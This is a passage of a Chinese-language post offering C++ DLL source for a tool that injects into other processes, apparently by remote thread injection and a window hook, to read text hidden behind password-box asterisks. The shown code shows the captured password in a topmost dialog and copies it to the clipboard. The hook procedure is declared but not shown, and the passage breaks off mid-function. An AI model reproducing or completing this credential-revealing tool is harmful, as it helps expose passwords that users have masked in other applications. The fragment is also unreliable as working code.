采用远程线程注入技术,获得一般的密码框*号下的数据
DLL实现:
.h
#ifdef __cplusplus
#define EXPORT extern "C" __declspec (dllexport)
#else
#define EXPORT __declspec (dllexport)
#endif
extern "C" void ThreadProc (PVOID pvoid);
extern "C" BOOL CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);
EXPORT BOOL Set_Hook(DWORD dwThreadId, DWORD dwMessageId, BOOL bInstall);
#include <windows.h>
#include <process.h>
#include "resource.h"
#include "Dll.h"
HINSTANCE hInst;
HHOOK g_hhook; //hook handle
TCHAR g_szPassWord[MAX_PATH];//密码框数据
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0'\
processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
#define WM_HOOK WM_USER+0x100 //钩子和主窗口通信的消息(这里没用到,钩子如果放在DLL中就需要了)
BOOL Set_Hook(DWORD dwThreadId, DWORD dwMessageId, BOOL bInstall);
static LRESULT WINAPI HookProc(int code, WPARAM wParam, LPARAM lParam) ;
int WINAPI DllMain (HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)
{
if ( fdwReason == DLL_PROCESS_ATTACH)
{
hInst = hInstance;
}
return TRUE ;
}
extern "C" void ThreadProc (PVOID pvoid)
{
DialogBoxParam (hInst, MAKEINTRESOURCE (IDD_DIALOG), NULL, WndProc, NULL);
}
extern "C" BOOL CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
static TCHAR pText[MAX_PATH] ;
HGLOBAL hGlobal ;
PTSTR pGlobal ;
switch (message)
{
case WM_INITDIALOG:
SetDlgItemText(hwnd, IDC_EDIT, g_szPassWord);
SetWindowPos(hwnd,HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
return true;
case WM_COMMAND:
switch (LOWORD(wParam) )
{
case IDOK: //复制数据
if (!pText)
return 0 ;
GetDlgItemText(hwnd, IDC_EDIT, pText, sizeof(pText) );
hGlobal = GlobalAlloc (GHND | GMEM_SHARE,
(lstrlen (pText) + 1) * sizeof (TCHAR)) ;
pGlobal = (PTSTR)GlobalLock (hGlobal) ;
lstrcpy (pGlobal, pText) ;
GlobalUnlock (hGlobal) ;
OpenClipboard (hwnd) ;
EmptyClipboard () ;
if (SetClipboardData (CF_UNICODETEXT, hGlobal) )
MessageBox(hwnd, L"数据复制成功", L"恭喜", NULL);
CloseClipboard () ;
break;
case IDCANCEL:
EndDialog (hwnd, 0);